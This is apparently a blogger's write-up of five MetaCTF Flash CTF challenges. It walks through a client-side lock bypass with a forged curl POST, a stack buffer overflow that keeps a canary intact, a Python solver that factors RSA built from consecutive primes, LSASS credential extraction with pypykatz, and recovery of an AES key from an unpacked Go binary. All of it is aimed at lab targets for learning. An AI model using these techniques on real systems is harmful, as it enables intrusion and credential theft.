️🏴 MetaCTF August 2024 Flash CTF
A monthly mini CTF competition organized by MetaCTF and Antisyphon.
2024-08-22
A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.
Details here: https://app.metactf.com/join/aug2024.
Cracking The Javashop
My favorite coffee shop is opening a new website, but they locked it behind a combination lock page! Can you hack the page to get access early?
Access the site here
The code for the page contains this:
<script>
const wheels = document.querySelectorAll('.wheel');
const correctCombination = ['6', '8', '7', '2'];
Entering that code displays the flag.
Equally, the actual server-side check is non-existent:
function checkCombination() {
const combination = Array.from(wheels).map(wheel => wheel.textContent);
const status = combination.map((num, index) => num === correctCombination[index] ? 'open' : 'locked');
...and sending open
for each value also reveals the flag:
❯ curl http://host5.metaproblems.com:7510/check-combination \
∙ --request POST \
∙ --header "Content-Type: application/json" \
∙ --data-raw '{"status":["open","open","open","open"]}'
{"message":"MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}"}
Canary in the Bitcoin Mine
To help offset server costs, we at MetaCTF are considering mining some cryptocurrency. We wrote a cool mining program, and we are even offering a flag if you can get to it without hurting the canary!
Download the source code here. When you're ready, connect to the service with
nc host3.metaproblems.com 5980
Although mine
is defined as having 64 bytes:
struct {
char mine[64];
int canary;
bool earnedFlag;
} mineshaft;
...the subsequent gets()
doesn't perform bounds-checking:
gets(mineshaft.mine);
The service actually displays the memory layout when executed, including the canary value:
❯ nc host3.metaproblems.com 5980
Welcome to the MetaCTF bitcoin mine, we have a flag you can earn, but it's guarded by our trusty canary!
Memory layout before input:
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 42 49 52 44 00 00 00 00 BIRD....
...so it's a matter of filling those 64 bytes, leaving BIRD
in place and
adding a byte afterwards:
Place some characters into the mine: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIRDX
Memory layout after input:
0000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0040 42 49 52 44 58 00 00 00 BIRDX...
Canary is alive.
Well done, you've earned the flag!
MetaCTF{g0t_7h3_fl4g_4nd_s4v3d_7h3_canary}
Loopy Primes
What's better than RSA? 1024 runs of RSA!
We encrypted the flag using this program, and the output from running the program with the flag is available here.
Can you figure out what the original flag was?
The use of consecutive primes, p
and q
, to determine n
is an odd choice:
p = getPrime(keysize)
q = nextprime(p)
n = p*q
Thanks to this answer on RSA: exploiting consecutive primes and a lot of reading:
import sys
from math import isqrt
from Crypto.Util.number import long_to_bytes
def factor_n_consecutive_primes(n):
A = isqrt(n) + 1
A += A * A < n
while True:
B_squared = A * A - n
B = isqrt(B_squared)
if B * B == B_squared:
p = A - B
q = A + B
return p, q
A += 1
with open("output.txt") as i:
lines = i.read().splitlines()
n_values = list(map(int, (line.split()[-1] for line in lines[:-1])))
ct = int(lines[-1].split()[-1])
E = 65537
for i, n in enumerate(reversed(n_values)):
p, q = factor_n_consecutive_primes(n)
phi = (p - 1) * (q - 1)
d = pow(E, -1, phi)
pt = pow(ct, d, n)
ct = pt
sys.stdout.write(f"\r{i + 1} of {len(n_values)}")
sys.stdout.flush()
sys.stdout.write("\n")
FLAG = long_to_bytes(pt).decode()
print(FLAG)
...which gives:
❯ python3 loopy_primes_solution.py
1024 of 1024
MetaCTF{g0t_d0wn_7o_7h3_root_0f_th3_lo0py_pr1mes}
Mimican't
I hacked into a super important system and pulled an LSASS dump!
Unfortunately, I can't seem to get my tools working properly to analyze it. Can you please help me find the flag in the dump?
Courtesy of this blog on
DCTF 2022 and after installing
pypykatz
:
❯ pypykatz lsa minidump lsass.DMP | rg --max-count 1 --ignore-case meta
INFO:pypykatz:Parsing file lsass.DMP
password MetaCTF{Rice_shirt_rice_money}
Note: feeling that this should have been more difficult, I peeked at the
writeup. Apparently pypykatz
should not have worked but hey-ho…
Go Vote
Some new company is in charge of making the polling software that will get deployed across polling stations throughout the nation. We're worried about bad actors trying to reverse the software and figuring out a way to shut down the vote early. Can you take a look yourself?
Here's the binary.
strings
suggests that this is packed with UPX:
❯ strings polling_station | rg UPX
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $
...but upx
itself complains:
❯ upx -d polling_station
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.3 Markus Oberhumer, Laszlo Molnar & John Reiser Mar 27th 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: polling_station: NotPackedException: not packed by UPX
Unpacked 0 files.
Apparently this is a
thing;
in this case, UPX!
has been replaced with VOTE
:
❯ xxd polling_station | tail -n 4
000731e0: e280 566d b0b9 879c 0000 0000 0056 4f54 ..Vm.........VOT
000731f0: 4500 0000 0000 0000 564f 5445 0e16 0e0a E.......VOTE....
00073200: 9c74 c016 c104 ab61 401c 1600 f831 0700 .t.....a@....1..
00073210: 401c 1600 4919 0087 f400 0000 @...I.......
...and to fix that:
with open("polling_station", "rb") as i:
raw = i.read()
with open("polling_station.fixed", "wb") as o:
o.write(raw.replace(b"VOTE", b"UPX!"))
..which now works:
❯ upx -d polling_station.fixed
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.3 Markus Oberhumer, Laszlo Molnar & John Reiser Mar 27th 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
1452976 <- 471580 32.46% linux/amd64 polling_station.fixed
Unpacked 1 file.
Oh dear, it's Go. IDA's Functions gives some hint as to what this thing actually does:
main_main
main_encrypt
main_secureAuthenticate
main_authenticate
main_initiateVotingMenu
main_voidLastVote
main_closeVotingAndTallyVotes
main_beep
main_clear
main_secureAuthenticate
appears to be the point at which a password prompt
appears:
lea rsi, off_4D4A10 ; "Enter password: "
The instructions in main_main
itself reveals two possible passwords:
gotvsupervisor123
, which leads intomain_voidLastVote
gotv2024
, which leads intomain_initiateVotingMenu
There is, however, another function—main_secureAuthenticate
—which
does…something.
It actually hands off to main_encrypt
, which appears to do the gruntwork,
eventually making use of crypto_aes_NewCipher
: so it's using AES. Immediately
before that, it loads 4 integers
push rbp
mov rbp, rsp
sub rsp, 0B8h
mov [rsp+0C0h+arg_8], rbx
mov [rsp+0C0h+arg_0], rax
mov rdx, 7620797265762061h
mov [rsp+0C0h+var_78], rdx
mov rdx, 7972657620797265h
mov [rsp+0C0h+var_70], rdx
mov rdx, 6573207972657620h
mov [rsp+0C0h+var_68], rdx
mov rdx, 79656B2074657263h
mov [rsp+0C0h+var_60], rdx
mov ecx, 20h ; ' '
lea rax, [rsp+0C0h+var_78]
mov rbx, rcx
call crypto_aes_NewCipher
test rcx, rcx
jz short loc_4A20AD
…which, when decoded:
numbers = [
0x7620797265762061,
0x7972657620797265,
0x6573207972657620,
0x79656B2074657263,
]
print(b"".join(number.to_bytes(8, byteorder="little") for number in numbers).decode())
…give a very very very very secret key
: so that's the key then.
Heading into the actual algorithm, it does something similar with 2 further integers:
loc_4A20AD:
mov [rsp+0C0h+var_40], rbx
mov [rsp+0C0h+var_50], rax
mov rcx, [rsp+0C0h+arg_8]
lea rbx, [rcx+10h]
lea rax, RTYPE_uint8
mov rcx, rbx
call runtime_makeslice
mov [rsp+0C0h+var_30], rax
movups [rsp+0C0h+var_88], xmm15
mov rdx, 3837363534333231h
mov qword ptr [rsp+0C0h+var_88], rdx
mov rdx, 3635343332313039h
mov qword ptr [rsp+0C0h+var_88+8], rdx
mov rbx, [rsp+0C0h+var_40]
lea rcx, [rsp+0C0h+var_88]
mov edi, 10h
mov rsi, rdi
mov rax, [rsp+0C0h+var_50]
nop dword ptr [rax+rax+00h]
call crypto_cipher_NewCFBEncrypter
…which, when run through the same code, produce 1234567890123456
.
After a lot of debugging, the function can be seen to take an array of bytes
as input which it later compares to the output of the main_encrypt
call (I
think).
Making a healthy assumption about what those bytes must be and putting all of that together:
from Crypto.Cipher import AES
key = b"a very very very very secret key"
iv = b"1234567890123456"
ciphertext = bytes(
[
0x95,
0xED,
0xBB,
0x79,
0x1B,
0x09,
0xFB,
0x12,
0x6C,
0x49,
0xBE,
0x5E,
0xDB,
0xBB,
0x1A,
0x3E,
0xB6,
0xB3,
0x58,
0x8D,
0x89,
0x3C,
0x83,
0x3E,
0xBF,
0xFC,
0xC9,
0x8A,
0x86,
0x98,
0x3A,
0xC4,
0x70,
0xFB,
0x51,
0xDA,
0x66,
0x01,
0xCC,
]
)
cipher = AES.new(key=key, mode=AES.MODE_CFB, iv=iv, segment_size=128)
print(cipher.decrypt(ciphertext).decode())
After a lot of failure and
this
comment on the now-defunct
pycrypto/pycrypto
repo. I discovered
that segment_size
has the "wrong" default—amending to the "correct" value of
128 and running the above:
❯ ./aes.py
MetaCTF{sh0uld_h4v3_u53d_p4p3r_b4ll0ts}